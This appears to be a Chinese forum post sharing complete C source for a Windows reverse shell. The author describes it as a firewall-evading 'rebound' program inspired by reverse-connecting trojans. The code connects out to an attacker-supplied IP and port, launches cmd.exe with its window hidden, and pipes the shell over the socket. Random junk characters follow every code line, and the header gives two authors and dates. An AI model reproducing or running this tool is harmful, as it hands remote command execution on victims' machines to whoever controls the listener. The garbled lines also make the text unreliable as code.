Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 A?+cdbxJw  
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/* ============================== n]x%xnt  
Rebound port in Windows NT !L3\B_#  
By wind,2006/7
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===============================*/ S3N+9*iK  
#include ~kp,;!^vr  
#include 59#o+qo4  
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#pragma comment(lib,"wsock32.lib") BIY"{"hJ  
#D
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void OutputShell(); JuD&121N*  
SOCKET sClient; #t<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /I48jO^2  
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void main(int argc,char **argv) l>*L Am5  
{ 1{-yF :A
 
WSADATA stWsaData; F S!D  
int nRet; %?m_;iv  
SOCKADDR_IN stSaiClient,stSaiServer; g@|2z
  
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if(argc != 3) KXT9Wt=  
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printf("Useage:\n\rRebound DestIP DestPort\n"); &2sfu0K  
return; %V|n2/O Y  
} ?p&( Af)  
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WSAStartup(MAKEWORD(2,2),&stWsaData); E RjMe'q4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |a!]Iqz"N  
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stSaiClient.sin_family = AF_INET; x@3cZd0j#  
stSaiClient.sin_port = htons(0); ~ ReX$
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w?Pex]i{  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dDa&:L  
{ H5*#=It  
printf("Bind Socket Failed!\n"); aYM~Ub:x{  
return; 8nwps(3  
} qkqtPbQ 7  
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stSaiServer.sin_family = AF_INET; jig3M N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WF:4p]0~)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +S WtHj7e  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) - ,?LS w  
{ iH~A7e62OZ  
printf("Connect Error!"); q
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return; b1;h6AeL  
} \01kK)  
OutputShell(); CDoD9Hq,  
} #M4LG; B  
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void OutputShell() T2_iH=u  
{ z$Le,+  
char szBuff[1024]; ":q+"*fy  
SECURITY_ATTRIBUTES stSecurityAttributes; GFju:8P?  
OSVERSIONINFO stOsversionInfo; B&_Z&H=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /8!n7a7  
STARTUPINFO stStartupInfo; ;&'ryYrex  
char *szShell; %hlgLM  
PROCESS_INFORMATION stProcessInformation; bI`JG:^b  
unsigned long lBytesRead; e7bMK<:r  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XE&h&v=>  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A3*(c3
  
stSecurityAttributes.lpSecurityDescriptor = 0; |5ge4,}0  
stSecurityAttributes.bInheritHandle = TRUE; /Kq'3[d8  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <EcxNj1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UR9\g(  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &W c$VDC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UvM4-M%2JN  
stStartupInfo.wShowWindow = SW_HIDE; 3o0ZS^#eB  
stStartupInfo.hStdInput = hReadPipe; TI\xCIH  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S4?WR+:h  
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GetVersionEx(&stOsversionInfo); qS"#jxc==+  
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switch(stOsversionInfo.dwPlatformId) 8e^uKYR<  
{ 1
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case 1: GNEPb?+T  
szShell = "command.com"; 9_,f)2)~W  
break; co1aG,>"q  
default: L &hw-.Q  
szShell = "cmd.exe"; k#u)+e.'  
break;
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} nm
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E/*&'Osq  
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send(sClient,szMsg,77,0); psc Fb$b  
while(1) ("r:L<xe&  
{ |$e'yx6j  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =6O*AJ  
if(lBytesRead) [p~,;%  
{ D4{KU%Xp&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^]'_Qbi]}  
send(sClient,szBuff,lBytesRead,0); >KvK'Mus/  
} #p55/54ZI  
else %''L7o.#a  
{ Z<^!N)  
lBytesRead=recv(sClient,szBuff,1024,0); |2@*?o"ll  
if(lBytesRead<=0) break; ^G(Ee+PN@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a'/i/@h  
} j*Pq<[~  
} h
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return; a!-J=\>9  
}